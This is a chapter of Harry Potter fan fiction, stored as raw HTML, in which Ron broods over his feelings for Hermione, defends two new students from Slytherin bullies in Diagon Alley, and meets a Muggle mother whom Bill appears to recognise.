joyful hug in front of Dumbledore and the whole school) ... Hermione telling Harry to cheer up as he watched Hogwarts disappear behind the mountains on the way home after their third year ... Hermione kissing Harry at Platform 9 and &#190; last year ... and the sight that he was witness to earlier after their confrontation with Malfoy and his cronies ...</p>\n\n<p>And the score now stood ... in the Hugs Department, Harry Potter, 4; Ron Weasley, 3. In the Kisses Department, Harry Potter, two; Ron Weasley, none.</p>\n\n<p>Harry Potter leaves the Weasley behind.</p>\n\n<p>It was enough to drive a boy to drink. </p>\n\n<p>Unbidden, a gloomy confession made in the comfort of a compartment shared by two frightened, insecure boys came to mind: &#8220;I&#8217;m the sixth in our family to go to Hogwarts. You could say I&#8217;ve got a lot to live up to ...&nbsp; Bill was head boy and Charlie was captain of Quidditch. Now Percy&#8217;s a prefect. Fred and George mess around a lot, but they still get really good marks and everyone thinks they&#8217;re really funny. Everyone expects me to do as well as the others, but if I do, it&#8217;s no big deal, because <i>they did it <u>first</u></i> ...&#8221;</p>\n\n<p>It seemed that even in the department ruled over by Cupid with his stupid arrows full of love potion, someone <i>else</i> was going to come in first ...</p>\n\n<p>It was enough to drive a <i>man</i> to drink.</p>\n\n<p>The question was ... what ever made him think that he even stood a chance with Hermione? </p>\n\n<p>And the thought struck him with all the force of a rogue Bludger ... whatever made him think that he could think of Hermione in <i>that</i> way?</p>\n\n<p>Comfort. </p>\n\n<p>Assurance. </p>\n\n<p>Security.&nbsp; </p>\n\n<p>With Hermione, he wasn&#8217;t just <i>another</i> Weasley, as that stupid git Malfoy had sneered at, so many moons ago. &nbsp;He was Ron: friend, classmate, sometime companion ... someone she could boss around to do his homework, pester about his assignments ... embarrass every once in a while, as she had done with the first ever Charm they&#8217;d learned, the never to be forgotten Wingardium Leviosa -- with the &#8216;gar&#8217; nice and long.</p>\n\n<p>And ... with a profound shock, he realized that <i>that</i> was the same way Harry felt about her: comfort, assurance &#8230; <i>contentment</i>.&nbsp; </p>\n\n<p>With Hermione Granger, Harry was just Harry Potter -- not the famous Boy-Who-Lived, not the youngest Seeker in a century, not the Triwizard Champion ...</p>\n\n<p>Just plain Harry: wizard, fellow student at Hogwarts School of Witchcraft and Wizardry, and more importantly ... <i>friend</i>. Most especially ... the person who&#8217;d saved her life in first year.</p>\n\n<p>Or one of them, depending on how you looked at it.</p>\n\n<p>But in a curious way ... he saw Harry the same way now. Oh sure, the first time, he was all agog about the famous Boy-Who-Lived.&nbsp; Everyone was, even Hermione ... and he smiled as he remembered the rambling introduction that had caused both of them to stare at her, stunned, stupefied, and ... shocked. </p>\n\n<p>But, as the days passed, he&#8217;d come to think of Harry as just that ... plain Harry Potter, <i>friend</i>.</p>\n\n<p>Or not.</p>\n\n<p>He mentally cringed as he remembered last year when the Goblet of Fire announced Harry as the other champion ... and he pushed that thought out of his mind, mentally hitting it as if it were a Bludger out to kill him ... only for the memory of the Firebolt and Scabbers incidents of their third year to come crashing in ...</p>\n\n<p>Again, he forced his mind to stop wincing, and focused on that most profound thought ... </p>\n\n<p>Which,&nbsp; he realized, was where it all started.</p>\n\n<p>He was comfortable with Hermione ... there was no need to put on any pretensions ... any airs ... any <i>facades</i> that he was anything more than what he truly was ... a <i>nice</i> guy to have around. </p>\n\n<p>Or was he?</p>\n\n<p>Cringing in embarrassment was getting to be a habit; he must have done more of it during this one day than he&#8217;d ever done in his whole life. But ... he sighed to himself, that&#8217;s what you get for facing up to reality ... the more he thought about it, the more he realized that Ginny&#8217;s cutting words to him that morning were sooo true ... he was a dense, insensitive, idiotic, <i>immature</i> prat.</p>\n\n<p>Correction.</p>\n\n<p>I am.</p>\n\n<p>His mind brought back the image of minutes before ... his two friends walking together so easily ... Harry carrying her books, Hermione carrying his robes. They looked so cute together, arms around each other&nbsp; ... an aura of profound comfort emanating from them.</p>\n\n<p>There was that word again.&nbsp; But honestly, what other word was there to describe it?&nbsp; He knew that if he walked up and joined them, there would be no awkwardness, no discomfort or unease between them ... not unless he brought it in to their tight little group. </p>\n\n<p>Which, he admitted to himself, he <i>had</i> brought in ... too many times to count.&nbsp; </p>\n\n<p>Was that why Hermione always seemed so comfortable with Harry ... and not with him? Harry was just <i>natural</i> whenever he was with Hermione ... unaffected, spontaneous, completely relaxed.&nbsp; He took her bossiness in stride ... accepted her intelligence without lifting an eyebrow ... and returned her affection in even measure. All it took was a smile and a question ... and all of Hermione&#8217;s objections dissolved, that time when Harry sneaked out to join them in Hogsmeade.</p>\n\n<p>He wasn&#8217;t even trying to be charming, Ron realized ... he was just being Harry: secure in their friendship, confident in their protection, unquestioning in their understanding.&nbsp; It had been Harry&#8217;s confidence in her friendship and support that led Hermione to break the rules too many times to count ... </p>\n\n<p>And she returned his confidence in full measure, and more.</p>\n\n<p>Was that the key to their relationship? That they <i>trusted</i> each other to do what had to be done ... knowing the other enough to do the right thing without thought, without question?</p>\n\n<p>But what about him?</p>\n\n<p>Breathe.</p>\n\n<p>Go with the flow. </p>\n\n<p>Shrug your shoulders. </p>\n\n<p>There. </p>\n\n<p>He&#8217;d flinched again ... he was getting better at it. The way he was going, he&#8217;d have done enough cringing, flinching and wincing at his past actions to last him a lifetime. Although, as Ginny told him, he&#8217;d better get used to this ... he&#8217;d be doing it again in the future ... well into the future, unless he changed his ways.</p>\n\n<p>That brought him back to the thought which started all this: what had made him think that he could think of Hermione in <i>that</i> way?</p>\n\n<p>Back to comfort, assurance and security.</p>\n\n<p>Especially the last.</p>\n\n<p>At the end of it all ... Hermione was a <i>known</i> entity to him.&nbsp; It may have taken him a little longer to twig to the fact that she was a girl ... but she had shown them all, and how! Showing up at the Yule Ball with Viktor Krum, looking so absolutely beautiful that she&#8217;d bowled them all over -- including Draco bloody Malfoy with the banshee he called a girl -- and practically all the girls in Hogwarts, including the snooty Fleur Delacour, feeling, for a moment, that they had <i>all</i> been had.</p>\n\n<p>And <i>that</i>, he admitted to himself, was where his resentment came from.&nbsp; If Hermione had gone with him, he wouldn&#8217;t have been embarrassed to death with his stupid dress robes, which were more properly <i>dress</i> than robes.&nbsp; She&#8217;d have been able to come up with a hundred and one charms to make his robes more presentable ... she would have made him relaxed at his first-ever formal ball ... she would have been a comfortable companion during the dinner, the dancing, the walk back to Gryffindor Tower ...</p>\n\n<p>He would have entered the Great Hall of Hogwarts on the arm of a beautiful girl who accepted him for what he was.</p>\n\n<p>Instead, she&#8217;d gone with Vicky ... but then again, why shouldn&#8217;t she? He never asked her ... never even thought of asking her ... he&#8217;d been so engrossed with hooking up with the most beautiful girl he could think of that he&#8217;d totally ignored her ... and conveniently forgot the fact that she was a girl.</p>\n\n<p>He&#8217;d turned to her only as a last resort ... and was rightly, shot down in flames.</p>\n\n<p>And of course, he being himself, had acted the total and complete prat about it ... pestering her about who her date was ... boiling in resentment during the ball that he&#8217;d forgotten all about his date ... finally ending what should have been an enjoyable night for all of them with the biggest fight he&#8217;d ever had with her -- and in public at that!</p>\n\n<p>And there lay the difference.&nbsp; </p>\n\n<p>Harry simply accepted it ... he <i>trusted</i> Hermione enough to let her be ... to let her have her time with Viktor with no questions or recriminations ... to tell her that he had no issues with her dating Krum ... in fact, he&#8217;d told Ron later that Hermione could have shown up with the Mountain Troll that almost killed her in first year and he wouldn&#8217;t have any issues with it.</p>\n\n<p>Because Harry trusted her.</p>\n\n<p>As Hermione trusted Harry.</p>\n\n<p>While he ...</p>\n\n<p>Enough. </p>\n\n<p>Flinch, cringe, wince, shrink ... what more did he need to do? He&#8217;d done it all in the space of a few minutes more than once ... it would be a mercy if the earth just opened up and swallowed him whole ... </p>\n\n<p><b>Thump</b>.</p>\n\n<p>He&#8217;d been so engrossed in his thoughts that he wasn&#8217;t thinking about where he was going ... and looked up in surprise as he heard someone shouting, &#8220;Give it back!&#8221; followed by another small voice shouting, &#8220;Yes, give it back!&#8221;</p>\n\n<p>He walked towards the alley where the voices were coming from, and saw a huge student he recognized as Derrick, a Slytherin Beater, holding up a wand as a small, thin-framed girl with long, straight black hair kept trying to grab it from him, but looking more like a poodle trying to jump for a stick held out of reach. They were surrounded by other students ... beside the huge Beater was his partner Bole, easily holding off another small girl, with long, slightly wavy black hair but with a somewhat stockier build than the other. </p>\n\n<p>She was trying to get to Derrick, crying, &#8220;Give it back, or I ... I&#8217;ll ...&#8221;</p>\n\n<p>&#8220;You&#8217;ll <i>what</i>? Tell your Muggle mother?&#8221; Bole sneered. It was then that Ron noticed an older woman dressed in muggle clothes standing by a wall near the two girls, shocked and uncertain about what to do. &#8220;Filthy mudbloods! We don&#8217;t need your kind at Hogwarts ...&#8221;</p>\n\n<p>Ron&#8217;s protective instincts, never far below the surface, boiled out. &#8220;Give it back, Derrick! Or can you only handle little girls who haven&#8217;t been Sorted yet?&#8221;</p>\n\n<p>The Slytherins turned to him, surprised ... but another huge player that Ron recognized was their Chaser, Montague, sneered, &#8220;It&#8217;s only the Weasel, Potty&#8217;s lapdog. He can&#8217;t do anything ...&#8221;</p>\n\n<p>That did it ... all his frustration, and perhaps all the cringing that he&#8217;d been doing throughout the day, finally let go. In a blur, he pulled his wand and shouted, &#8220;<i>Expelliarmus!</i>&#8221; ... and watched in gleeful satisfaction as the wand in Derrick&#8217;s hand flew into the air while the huge Beater was thrown backward to crash into the alley&#8217;s wall ... with a graceful move that belied his assumed awkwardness, he grabbed the little girl&#8217;s wand as it flew towards him, and spun around to face the other Beater -- only to see Bole doubled up on the ground, gasping for breath, and the stocky little girl walking backwards away from the fallen goon, a look of surprise on her face ...</p>\n\n<p>A movement seen from the corner of his eye and he dropped to the ground, dodging the jinx thrown at him and casting the Full-Body Bind at the same time ...&nbsp; and watched the slow-motion, face forward, fallen-tree collapse of his opponent.</p>\n\n<p>He stood and spun around, wand ready ... and realized his predicament: there were still six or seven thugs facing him, led by the massive Montague.&nbsp; He could possibly hold off one or two at a time ... but if they all rushed him, no amount of magic and cursing would prevent him from being beaten up ...</p>\n\n<p>Apparently, the same thought had come to Montague; with a cry of, &#8220;No wands! Let&#8217;s beat him up!&#8221; the gang rushed and he prepared himself, thinking only of his regrets for all the prattishness that he&#8217;d shown his best friends ...</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>No words were exchanged ... they fell again, naturally, into their established routine:&nbsp; Harry leading, bulling his way through the crowds, and automatically dropping his hand behind him, and Hermione&#8217;s hand automatically finding its way to his ... for an instant, their hands flinched at the contact but entwined themselves together effortlessly as she followed behind him ...</p>\n\n<p>&#8220;Was he going to <i>kiss</i> me?&#8221; she wondered as she followed him automatically through the crowd. &#8220;Why? What&#8217;s happening to us ... what&#8217;s happening to me? Is he my friend or my brother ... no, he isn&#8217;t, I know that ... but why was he going to kiss me ... but why was I going to kiss him ... stop it, Hermione! Focus ... where&#8217;s Ron ... if that silly prat uses this against Harry, I ... I&#8217;ll ... &#8220;</p>\n\n<p>&#8220;You&#8217;ll what, Hermione?&#8221; She looked up guiltily at Harry&#8217;s concerned face and wondered how much she&#8217;d actually said ... and she could read the worry and concern in his eyes.&nbsp; </p>\n\n<p>His friendship with Ron meant so much to him ... Ron had been his first <i>real</i> friend, aside from Hagrid ... not just in the wizarding world, but in the whole wide world, in fact. She felt a twinge of ... envy? jealousy? spite? as she remembered their reconciliation last year at the end of the First Task ... how she&#8217;d been crying and had hugged both of them ... feeling happy that their Trio was intact, but at the same time, feeling a wrenching loss, knowing that the time spent alone with Harry was over ... </p>\n\n<p>But why should she feel that she had lost something, when their Trio was back together again? &nbsp;He was still her best friend &#8230; if anything, that incident had bound the three of them closer together but still &#8230;</p>\n\n<p>She bumped into him and was surprised, realizing that he&#8217;d stopped at a deserted area of the marketplace and was facing her, both hands held in his, and she looked up to see his eyes on her face ... an unreadable expression in them.&nbsp; Which was a surprise, because she&#8217;d always been able to read and understand what he was thinking ...</p>\n\n<p>&#8220;He&#8217;s still our friend, Hermione,&#8221; she heard him say ... and she turned away, nodding. Yes he was, she thought, but wondering at the same time whether what she felt for Harry was going to interfere ... to work its insidious way between the three of them and force a break ... and worrying that, if it came down to a choice, <i>she</i> would be the one left out ... </p>\n\n<p>And she barely caught his whispered words, &#8220;... and if he doesn&#8217;t like it ... ... he can go hang!&#8221;</p>\n\n<p>&#8220;Harry,&#8221; she whispered, uncertain of what he&#8217;d said, and watched as he locked eyes with her. Before she could continue her question ... or he could respond, they both heard a muffled, &#8220;<i>Petrificus Totalus!</i>&#8221; from a nearby alley... and both ran towards the sound ... </p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;<i>Impedimenta!</i>&#8221; </p>\n\n<p>Ron watched, shocked, as Montague hit an invisible barrier -- and bounced back into the rushing gang, bringing them down like pins in a bowling alley.&nbsp; He tensed as he felt a presence materialize beside him, and relaxed as he realized who it would be ...</p>\n\n<p>&#8220;Took you long enough,&#8221; he said, without looking around, still focused on the hooligans.</p>\n\n<p>&#8220;You were doing quite well on your own,&#8221; Harry said. &#8220;Four down ... think we can take the rest?&#8221;</p>\n\n<p>Before Ron could respond, he felt a presence on his other side, and knew that Hermione was there, wand out and probably casting her death-glare at the fallen thugs.&nbsp; If that was not enough to make <i>anyone</i> back down ...</p>\n\n<p>For a single, satisfying moment, the Trio felt their fellowship fall into its accustomed place: facing a gang of enemies together as they&#8217;d faced danger before, prepared to do what was right, assured of their mutual protection and concern for each other ... all other thoughts and issues set aside for the moment ...</p>\n\n<p>The shocked gang stepped back ... facing two determined wizards and a witch who looked just as capable as the other two.&nbsp; They slowly moved back ... away from their fallen comrades: Bole still rolling around on the floor, clutching his groin; Derrick still winded by the wall and unable, or unwilling, to move; another Slytherin still in the Full-Body Bind; Montague shaking his bashed head from running into an invisible wall ... one of them suddenly turned and ran down the alley ... as if that were the cue, the rest turned and followed, leaving the Trio alone, with the two little girls and their mother standing there, still in shock at what had happened.</p>\n\n<p>Ron slowly put down his wand, feeling his rapidly beating heart rumble along ... heard deep pants roaring into his lungs ... felt his knees weaken as if hit by the Jelly-Legs jinx &#8230; but forcing himself to stand straight and tall, thinking, &#8220;So <i>this</i> is what Harry has to go through ...&#8221; and knowing, in the same moment, that what he had just gone through was a mere <i>fraction</i> of what his best friend had gone through every single year since he started at Hogwarts.</p>\n\n<p>He made his way over to the two girls and their mother.&nbsp; With a smile and a flourish that he couldn&#8217;t feel, he handed over the wand to the long-haired girl, saying, &#8220;I believe this is yours?&#8221;</p>\n\n<p>The younger girl slowly reached for her wand, looking at Ron with teary eyes and whispering in a small voice, &#8220;Thank you ... thank you ...&#8221;</p>\n\n<p>Before Ron could even say, &#8220;You&#8217;re welcome,&#8221; the girl had jumped into his arms and was hugging him tightly, saying &#8220;thank you&#8221; over and over, and crying into his shirt&nbsp; ... before he could say anything else, he was slammed back as the other girl leaped in to hug him also, saying the same thing to him ...</p>\n\n<p>He awkwardly held them, patting their backs and thinking, &#8220;So this is what it feels like to be a hero ...&#8221; </p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Harry and Hermione glanced at each other, smiling as Ron gently disentangled himself from the sobbing girls. With a glance at his companions (and a quiet nod from them), he gently placed a hand around the younger girls&#8217; shoulders and started pulling them towards their mother, who was standing still, shocked at what had happened &#8230;</p>\n\n<p>&#8220;Ma&#8217;am?&#8221; She looked up at him (Ron stood a head taller than her) and silently nodded as he said, &#8220;I think we better go ...&#8221;</p>\n\n<p>Ron gently pushed the sobbing girls towards their mother, and was surprised when the older lady wrapped her arms around the girl with the long, straight black hair ... after a moment, she enveloped the other girl in her embrace, and the three quietly began walking away towards the mouth of the alley. </p>\n\n<p>&#8220;That was bloody brilliant, Ron,&#8221; he heard Harry say as his friends walked up to him.&nbsp; The three started following the others, Hermione walking on Harry&#8217;s other side, and he turned to her with gratitude.</p>\n\n<p>&#8220;Thanks, Harry ... and thanks for finding that Shield Charm, Hermione,&#8221; She waved his thanks off, glancing at Harry; and Ron saw Harry blanch ... and remembered that Harry had tried the charm against a giant spider during the Third Task, and he shuddered at the thought.&nbsp; </p>\n\n<p>&#8220;Good thing that the stupid git was a lot smaller than ...&#8221; and he stopped suddenly at Hermione&#8217;s glare, mentally kicking himself for his big mouth, knowing that it wouldn&#8217;t help to remind Harry of the nightmare in the maze. He was saved from burying himself deeper when they reached the others, who were now waiting for them at the outskirts of a more crowded section of Diagon Alley.</p>\n\n<p>&#8220;Are you all right, ma&#8217;am?&#8221; he asked as he came closer, noting that his two friends had slowed down, allowing him to take the lead.&nbsp; </p>\n\n<p>&#8220;Thank you,&#8221; the older woman said in a heartfelt tone.&nbsp; &#8220;If you hadn&#8217;t arrived ... I don&#8217;t know what would have happened, Mister ... err ...&#8221;</p>\n\n<p>Shaking his head in apology, he held out his hand, &#8220;I&#8217;m so sorry. I&#8217;m Ron ... Ron Weasley.&#8221;</p>\n\n<p>&#8220;Pleased to meet you.&#8221; The woman paused as she shook his hand, and continued. &#8220;That sounds so ... inadequate, after what you&#8217;ve done for us. Oh!&nbsp; I&#8217;m Mrs. Wright &#8230; and this is my daughter, Carolyn (gesturing to the girl with long hair), and her friend, Cindy ...&#8221;</p>\n\n<p>&#8220;You&#8217;re Ron Weasley?&#8221; The other girl was looking at him with something close to awe, and she was actually trembling as she extended her hand to Ron. &#8220;I&#8217;m Cindy &#8230; Cindy Galloway.&#8221;</p>\n\n<p>Before Ron could ask why she was looking at him so strangely, she squealed in excitement: &#8220;&#8230; I&#8217;ve heard so much about you! You&#8217;re Harry Potter&#8217;s friend ... my cousin Clara&#8217;s a Ravenclaw and she&#8217;s told me all about you and Harry Potter!&nbsp; Is it true that Sirius Black went after you with a knife?&nbsp; She was in first year when that happened, and she said everyone was talking about it ... and you were also with Harry Potter during last year&#8217;s Triwizard tournament ... and ... and &#8230;&#8221; </p>\n\n<p>The sudden chatter from what Ron had assumed was a quiet little girl (now almost bouncing with excitement and glee) was interrupted by a shy, almost ashamed and definitely bewildered voice asking, &#8220;Who&#8217;s Harry Potter?&#8221;</p>\n\n<p>Ron turned in surprise to Carolyn, who looked as if she wanted to hide behind her mother&#8217;s skirt, so embarrassed was she at professing her ignorance.&nbsp; The awkward silence was broken, however, as Cindy took her friend&#8217;s hands in hers and said, &#8220;Oh, I&#8217;m sorry, Carolyn! I keep forgetting that you&#8217;re not from our world ... I&#8217;ll tell you all about it as soon as I can get my books. Maybe you can stay with me for a few days ... we can go to Platform 9 and &#190; together and from there take the Hogwarts Express ... I&#8217;ll clue you in on what to do, what to expect ... I hope we get into the same House, I would love to be in Gryffindor ...&#8221;</p>\n\n<p>Ron looked at Mrs. Wright with raised eyebrows; the latter, with an embarrassed smile, explained, &#8220;We met Cindy and her parents at the wand shop &#8230; Ollivander&#8217;s? She was nice enough to volunteer to show us around since we &#8230; uhm, were not familiar with the place &#8230; until those &#8230; those <i>thugs</i> decided to make fun of Carolyn.&nbsp; If you hadn&#8217;t arrived in time &#8230;&#8221;</p>\n\n<p>&#8220;I see,&#8221; Ron said, nodding slowly and he smiled.&nbsp; &#8220;Well then, allow me to welcome both of you to the magical world.&nbsp; Please don&#8217;t think we welcome new members of the community in the same way that those, uh ... <i>apes</i> did. You will find that most of us know how to welcome guests ...&#8221;</p>\n\n<p>A slight cough from behind interrupted his speech.&nbsp; Turning, he saw Hermione covering her mouth to stop from giggling ... Harry beside her, doing his level best to control <i>his</i> grinning face as she said, &#8220;You sound just like Percy, you know.&#8221;</p>\n\n<p>Taken aback, Ron hissed back, &#8220;I suppose you can do better?&#8221;</p>\n\n<p>Turning back to Mrs. Wright, he said, &#8220;Please, call me Ron. And may I introduce my classmates and fellow Gryffindors, Hermione Granger (Hermione extended her hand, which Mrs. Wright clasped briefly) and ...&#8221;</p>\n\n<p>&#8220;Ohhhh,&#8221; said Cindy in a voice of mingled embarrassment, humiliation and despair.&nbsp; She looked as if she were suddenly younger than eleven, as her eyes focused on Harry, and he gave her a winning smile at which point she blushed deeply ... or so it seemed, for she had rosy cheeks that made it difficult to see if she were indeed blushing.</p>\n\n<p>&#8220;Harry Potter, ma&#8217;am.&#8221; Harry extended his hand to the older lady, who warmly shook it. There was something in her look, he thought, as if she had already heard of him from somewhere ...&nbsp; He shook the feeling off as he extended his hand to Carolyn, who shook it hesitantly, and turned to Cindy, who looked almost scared to be touching him, chagrined as she was with her earlier rambling ... and looking as if she were about to meet the Pope or something ...</p>\n\n<p>&#8220;Now who&#8217;s acting like the mayor?&#8221; he heard Hermione whisper beside him.</p>\n\n<p>&#8220;Shut up, Mione - Owww!&#8221; he said, as she immediately swatted his head at his use of the hated name. A small giggle escaped Carolyn&#8217;s lips, and both saw her mother smiling at them.</p>\n\n<p>&#8220;I take it all three of you are good friends?&#8221; she asked in a very amused voice, although her expression proclaimed clearly that she knew there was something more between two of the three. Hermione smiled back at her.</p>\n\n<p>&#8220;Yes, ma&#8217;am ... we&#8217;ve been friends since our first year at Hogwarts ...&#8221;</p>\n\n<p>&#8220;Seems like ages ago,&#8221; Ron said in a light voice, &#8220;when she (pointing a thumb at Hermione) <i>barged </i>&nbsp;into our compartment on the train and asked (in a perfect imitation of her voice), &#8216;Has anyone seen a toad? Neville&#8217;s lost one&#8217;.&#8221;</p>\n\n<p>Hermione blushed, and gave him a glare as Harry laughed beside her.&nbsp; She was grateful, however, that Ron had said that was when they became friends, not wishing to be reminded, once again, of her unpopularity during her first months at Hogwarts ...</p>\n\n<p>Ron turned back to Mrs. Wright:&nbsp; &#8220;Would you like to join us, Ma&#8217;am? My family should be at Florean Fortescue&#8217;s ice cream parlor (he glanced back at his friends, who nodded back) ... and they would love to meet with you.&#8221;</p>\n\n<p>&#8220;Oh!&#8221; Cindy glanced at her watch, and said, &#8220;I almost forgot! I&#8217;m supposed to meet them there about now!&nbsp; Mum&#8217;ll be furious ...&#8221;</p>\n\n<p>&#8220;Well then, why don&#8217;t we all go there together? Would you like to join us, Mrs. Wright? Carolyn?&#8221; Ron repeated his invitation. The mother and daughter looked hesitant, and he quickly assured them,&nbsp; &#8220;My Dad works for the Ministry of Magic and he would just love to meet up with Mug ... I mean, uh ...&#8221;</p>\n\n<p>&#8220;Thank you, Mr. Weasley, but I don&#8217;t want to impose ...&#8221; Mrs. Wright looked in surprise at Hermione, who was trying to suppress what looked suspiciously like a laugh. &#8220;Is there something wrong?&#8221;</p>\n\n<p>&#8220;Oh no, ma&#8217;am.&nbsp; It&#8217;s just ...&#8221; she bit hard on her lip, as she quivered from suppressed laughter, &#8220;I mean ...&#8221;</p>\n\n<p>&#8220;She&#8217;s just not used to me being called <i>Mister</i> Weasley,&#8221; Ron replied with a hard look at his friends. &#8220;Please, call me Ron &#8230; every time someone calls me &#8216;Mr.&#8217; Weasley, the next thing I expect to hear is &#8230;&#8221;</p>\n\n<p>&#8220;Ten points from Gryffindor for your cheek,&#8221; Harry supplied, a hint of laughter in his voice.</p>\n\n<p>Ron raised an eyebrow at him. &#8220;Speak for yourself, Mr. <i>Potter</i> &#8230; you lost ten points from Gryffindor within the first ten <i>minutes</i> of our Potions class.&#8221;</p>\n\n<p>Harry raised an eyebrow in return: &#8220;Don&#8217;t look at me! <i>She</i> (pointing at Hermione) started it!&#8221;</p>\n\n<p>&#8220;Oh, stop it you two!&#8221; Hermione said with a smile. &#8220;Let&#8217;s just keep in mind the fact that, if it were not for me, the two of you would still be pickling rat&#8217;s brains in Snape&#8217;s dungeon!&#8221;</p>\n\n<p>Ron and Harry looked at each other over Hermione&#8217;s head &#8230; the same thought flashing through their minds: they&#8217;d spent an uncomfortable evening doing just that, when they were still not speaking to each other &#8230; </p>\n\n<p>Ron broke the sudden silence: &#8220;She&#8217;s right, you know.&#8221;</p>\n\n<p>&#8220;She&#8217;s always right,&#8221; Harry said, smiling down at her. &#8220;That&#8217;s my Hermione.&#8221;</p>\n\n<p>It felt as if a cold draft wafted through the street, and an uncomfortable silence descended until Ron replied, &#8220;That&#8217;s <i>our</i> Hermione.&#8221;</p>\n\n<p>Mrs. Wright, noting the sudden tension in the air, broke it by starting to walk towards the ice cream parlor, forcing the three teenagers to join her.&nbsp; She started asking questions about Hogwarts and the magical world from Hermione; soon enough, the two boys joined in the conversation, alternately listening and responding to her questions &#8230; and watching in amusement as a chattering, bouncing Cindy pointed out various shops and places in Diagon Alley to her amazed friend. </p>\n\n<p>Harry, smiling at the way the two younger children were talking, suddenly turned to&nbsp; Ron, &#8220;Doesn&#8217;t she remind you of someone we both know?&#8221;</p>\n\n<p>&#8220;Uh-huh,&#8221; Ron nodded, a broad grin now on his face. &#8220;Except for the hair, she sounds exactly like ...&#8221;</p>\n\n<p>&#8220;Hermione!&#8221; The two friends started laughing, both of them remembering their first encounter with their bushy-haired, bossy, take-charge, know-it-all friend, who was now glaring at them with all the force of her considerable personality ... but this time, surprised that her death-glare was simply bouncing off the laughing pair.</p>\n\n<p>&#8220;Stop it, you two!&#8221; She glared at them and, with a suddenly evil smirk, continued, &#8220;Besides, I&#8217;m not the one with the fan&#8217;s club &#8230;&#8221;</p>\n\n<p>The two boys quickly glanced at the direction she was looking at, and caught the look the younger girls were giving them &#8230; actually, giving <i>Ron</i> &#8211; the two younger girls blushing simultaneously and looking away at the same time.&nbsp; Smirking, Hermione started chanting in a low voice, &#8220;Ronnie&#8217;s got a fans&#8217; club &#8230; Ronnie&#8217;s got a fans&#8217; club &#8230;&#8221;</p>\n\n<p>Ron, beet-red, said, &#8220;Shut up, Hermione!&#8221; as Mrs. Wright gave in to a laugh.&nbsp; </p>\n\n<p>Trying to divert attention from the gibe, Ron suddenly called the younger girls over, &#8220;Cindy? I wanted to ask &#8230; seeing as you&#8217;re a witch and everything &#8230; how&#8217;d you get that big git Bole down? You must have hexed him with a hell of a jinx &#8230;&#8221;</p>\n\n<p>Cindy&#8217;s face, now returned to its normal, rosy-cheeked state, was suddenly blushing so badly that it looked as if she&#8217;d spent far too much time in the sun (if that were possible), and seemed to be unsure of how to answer.</p>\n\n<p>Carolyn, however, gave a sudden giggle &#8211; and the three friends looked at her in surprise. In a soft voice, she explained, &#8220;After you hit the one holding my wand, that big lunk was about to curse you or something, but Cindy suddenly kicked him ...&#8221; </p>\n\n<p>&#8220;My foot&#8217;s still aching,&#8221; Cindy said plaintively, as she looked daggers at Carolyn, &#8220;It felt like kicking a <i>wall</i>, to tell you honestly ...&#8221;</p>\n\n<p>Ron looked at Cindy in admiration, wondering at the same time why she looked as if she wanted to dig a hole in the ground and pull it over her, &#8220;You <i>kicked</i> him?&#8221;</p>\n\n<p>As the girl nodded slowly, he said in an admiring tone of voice, &#8220;That must have been some kick!&#8221;</p>\n\n<p>Carolyn, however, couldn&#8217;t stop from giggling. &#8220;It wasn&#8217;t the kick,&#8221; she said in her soft voice as she giggled, &#8220;... it was <i>where</i> it hit that did the trick.&#8221;</p>\n\n<p>The three turned in surprise at a sudden hoot of laughter from Mrs. Wright.&nbsp; Trying to control herself at the puzzled look on their faces, she made a gesture at the region of her waist, waggling her hand at the area between her legs.&nbsp; Ron&#8217;s eyes widened ... and he gaped at the still-blushing Cindy, asking, &#8220;You mean ...&#8221;</p>\n\n<p>Mrs. Wright nodded ... and finally, couldn&#8217;t stop herself. She lapsed into a shout of laughter so loud that it startled them all ... and then Ron, Harry, and Hermione also dissolved into laughter as Cindy, in a sudden fit of inspiration, mimed the look on Bole&#8217;s face when he was hit by a <i>physical</i>, not magical, force &#8230;</p>\n\n<p>The stopped laughing, however, as a familiar voice called out, &#8220;There you are! I thought you three had gotten in trouble again &#8230;&#8221;</p>\n\n<p>&#8220;Bill!&#8221; Ron called out, &#8220;I&#8217;d like you to meet &#8230;&#8221;</p>\n\n<p>He stopped as he saw his brother&#8217;s face &#8230; gone so pale that his tan looked as if it had been painted on, face stricken as if he had taken a Bludger to the stomach and it was still grinding in, staring at Mrs. Wright &#8211; who was looking at him with an expression of profound puzzlement on her face.</p>\n\n<p>Bill whispered, &#8220;Erin?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
